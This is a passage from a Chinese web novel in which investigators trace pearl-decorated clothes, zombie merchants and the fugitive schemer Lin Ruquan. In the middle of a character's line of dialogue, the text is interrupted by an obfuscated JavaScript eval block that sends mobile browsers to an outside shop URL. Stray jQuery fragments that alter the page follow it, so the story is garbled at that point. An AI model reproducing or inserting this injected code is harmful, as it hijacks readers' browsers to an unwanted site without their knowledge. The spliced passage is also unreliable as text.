平法司还没有阔绰到花十两银子买衣服的地步,薛千一见这老婆婆狮子大开口,连忙和许幸之一个唱红脸一个唱白脸,推推搡搡地就挪出了布庄。
“呼——累死我了。”许幸之拍了拍胸口,“我们全身上下都不值十两银子吧……”
祝九三和楚昱两人低头走在后边没说话。老婆婆给出了两个很重要的信息,一是这种衣服是三年前时兴的款式,虽然这个时兴不知道是真是假;二是这件衣服是行商令的产物。
如果那队僵尸就是利用这个衣服来拽下珍珠传递信息,那么按照他们衣服的破烂程度,十有八九就是行商令时期的人。
楚昱先前总结行商令的时候给出了行商令在地方推行的两个难点,第一个就是观望风口时的信息差,很容易被朔京的商人钻空子,第二个就是行商令推行时会受到来自世家大族的阻碍。
如果行商令大范围推广,那么他们是无法用自己的商业去抵抗国家的政策,到最后只能把自己手中的工坊拱手让出。
而想要和行商令做斗争,就首先要确保自己的商品要比国家的更有竞争力。而小商人商品的竞争力来自政策的补贴,世家大族想要分一杯羹就必须把自己的价格一降再降。
连一个老婆婆在卖衣服的时候都会想尽办法提高价格,那群势利的家伙用头发想都知道绝对不可能自损八百地降价。
“怪不得那些衣服这么违和。”祝九三摸了摸下巴,沉思着开口,“如果这是那些世家大族既要又要的结果,那就说的通了。”
“衣服本身的版式没有任何问题,如果换成绸缎在朔京肯定会受到不少欢迎,这点我们可以回去考证,但放到地方。百姓只需要一件质量好的衣服,而富家大族又不屑于穿这些粗制布料,所以这些衣服才会长久滞销。”祝九三不小心碰到了自己脖子上的淤青,轻轻“嘶”了一声。
“大家都是商人,把利益看得比什么都重要,没道理会做出这种两边都不畅销的东西,所以这中间肯定被人动过手脚,或许这才是行商令案件的突破口。”
“那我们接下来还得先找找制造这些衣服源头。”楚昱点点头,众人的脚步同时一顿。
所以他们还要再去一次布庄吗……
薛千和许幸之同时摆手,他俩刚刚一个“知不知道现在世道艰难还花十两银子买衣服”一个“这个衣服这么好看买下来怎么啦。”最后拉拉扯扯以“不买就不买”的赌气顺利脱困。
“换一个吧换一个吧。”祝九三觉得好笑,众人一道换了个布庄,或许是这件衣服实在是滞销,他们一描述就立马勾起了老板的回忆,从仓库提了一堆灰尘仆仆的衣服抬到了众人面前。
“这个是吗?哎哟我跟你们讲,这都是我压箱底的东西了,我自己都舍不得穿!你们眼光太好了,这可是朔京时兴的料子式样,别的地方都买不到的!”老板一边拆一边推销。
众人:……
许幸之:我以后再也不会信布庄的任何一句话。
“冒昧问一句,我看这上面有不少珍珠,这附近要找珍珠可不容易,是从哪进的货?”祝九三拍了拍手上的灰,问道。
“这些啊……”老板轱辘在嘴边的话术猛地卡壳,不知道是年代太久远还是有意隐瞒,沉默了一段时间后才有些犹豫地回答道,“其实说了也没关系,你们不是平法司的官员吧?”
众人异口同声:“不是。”
“那就好。”老板环视了一下四周,继续道,“因为我进它们的时候刚好碰上那个什么官员私访,后来又听到了些不好的风声,我怕平法司听到了说我私下议论把我抓起来了怎么办?”
楚昱抽了抽嘴角,平法司的名声什么时候变得这么差了……
“没关系,我们其实就一过路的。”祝九三把楚昱往后推了一把,刚好错身挡住老板落到楚昱腰侧的视线,“要不是沿途来车旅费花超了,也不会想到跟你打听这点做生意的门路。只是我们看老板你面善,又这么热情,这不才冒昧地问上一句。”祝九三那身八面玲珑胡说八道的本事又派上了新的用场,一长串话出来,老板什么乱七八糟地都听不到了,满脑子只剩下一声声“真挚”的“面善”和“热情”。
“那我想想啊。”老板跑到布庄后面翻了翻账本,“不过还是得看你们顺不顺路,我这个呢是从北海附近运过来的,当时是有一队商人沿途售卖,我们附近的几个布庄就合计了一起买了下来。按他们的说法,我觉着工坊估计在北海那边,你们是往哪边走?”
祝九三正欲开口,老板的兴致更加高涨,“哎呀就算顺路,那也需要时间对不对?不如这样,我这里刚好有现成的,你们也不用跑到北海去了,直接拿着我这的衣服沿途卖到你们要去的地方如何?我跟你们说,这款式都是时兴的,料子也是一等一的好,过了这个村就没这个店了啊!”
薛千和许幸之两眼一黑,挽了挽袖子不等祝九三求助直接开吵。两人有了刚刚在老婆婆那的经验吵起来简直得心应手,不过一小会就被连人带衣服一道赶出了布庄。
祝九三默默竖了个大拇指表示佩服。
“你们觉得那队僵尸和他提到的,从北海来的商人,关系有多少?”林攸一随意找了个路边茶馆的凳子坐下。
“从北海来的商人,有着镶着珍珠的衣服,时间是三年前,这么说来都对的上。”祝九三蹙了蹙眉,“但我们现在是不是不能离开留安?”
“嗯。”楚昱把水推到众人面前,“求助令在留安,我们没有解决僵尸问题,还不能离开。林攸一提到了平法司的官员问题,如果他们真的是傀儡,那么事情只会变得更加复杂。”
逃走的僵尸、被袭击的假商人、诡异的平法司官员、留下的珍珠线索,还有三年前途经北海留安的商人。
调查越深入,展现出来的疑点就越多。更别说惠安还有一个戚风至和水部司,朔京还有一个到处乱窜的林如泉。
祝九三一个头两个大,如果他们要查那队僵尸,就必须要确认他们究竟是不是三年前过路的商人。但要想知道这队僵尸的身份,目前只有两个路径,一是找到它们调取记忆,二是跑到北海寻找它们先前的轨迹。
“我有个问题。”许幸之喝了口水道,“推回求助令到手的时间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615356|203028||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,求助令到我们手上的时候假商人已经被袭击了。如果说平法司的官员在这之前就已经是傀儡了,为何还要发出求助令把我们引过来?”
香火人贯穿了他们一路以来的调查进程,如果平法司官员是他的傀儡,那么求助令就是香火人发出的。或者说,留安有什么让他们必须到来的理由。
“兵分两路吧。”楚昱看了看祝九三的眼睛,“祝大人和我今晚再去一次官马道,你们和林攸一一起去平法司守着,看能不能再找出一些疑点。”
“行。”祝九三答应的很干脆,话音刚落,一只鸽子扑腾着翅膀落到了楚昱的肩头,腿上绑着一封折起来的字条。
平法司的信鸽。
楚昱抬手顺了顺鸽子的羽毛,从腿上取下了字条,疑惑道,“我应该和朔京说了,不会再接求助令才对。”
字条不大,但上面的字写的又急又密,楚昱皱着眉看了很久,半晌,有些慢地开口道,“还记得我说过我在暗中调查林如泉么?”
“有他的消息了?”祝九三熟练地接过楚昱递过来的字条,简单扫了几眼,但听他讲显然更快。
楚昱点点头,“他也在留安。我的探子说,林如泉的动向很奇怪,先是到了惠安发了封求助令,接着又秘密转移到了留安,我的探子行踪隐蔽,但中途还是被他发现了不少,所以留安之后的行踪就不得而知。”
“有意思。”林攸一将手中的空茶杯抛起又接住,在手心打着转把玩,“事情已经很明了,或许从泉南楼附近出现的无脸尸开始,一连串的事情都来自人和人之间的恩怨算计。我记得当初查林如泉的时候,好像没查到他在留安有什么瓜葛。”
“留安这么大,林如泉会躲在哪呢?”许幸之整张脸都皱成了一团,“平法司的异样和他有关系么?”
“我反倒是觉得,林如泉的出现,恰好证明了一件事。”楚昱的眸色暗了暗,“先前我们推理的时候,推到惠安的求助令是林如泉代发的,而但是我们的关注点被戚风至吸引,所以只认为李准和平法司有勾结。林如泉先是在朔京将酒楼罪证嫁祸给手下的合伙人,接着用木匠把于家拉下水,紧接着逃到惠安用求助令出卖李家,现在逃到留安肯定也是有着相同的目的。”
祝九三心领神会,“他要彻底洗清自己的嫌疑。”
他们原本的调查是放养林如泉,因为林如泉要赚钱,就一定不舍得斩断和那些世家大族上不得台面的勾当,只有这样他们才能尽可能多的打掉世家大族暗地里的交易。
但林如泉一路以来的轨迹都很诡异,他似乎想要把自己彻底从体系里摘除,所以一直在出卖自己曾经的盟友,让一些见不得光的事情被他们查出来。
“不对。”楚昱转了转茶杯,声音低沉沙哑,“听过壁虎断尾的故事么。”
天色再次转暗,强风吹得旁边的招牌不断晃动,楚昱的声音在空中起伏着,
“他在自保。”
林如泉算得上是朔京利益网中的核心,如果连他都坐不住了,只能意味着朔京深处有着远比他们发现的这些案子更加恶劣,更加不可饶恕的血腥内幕。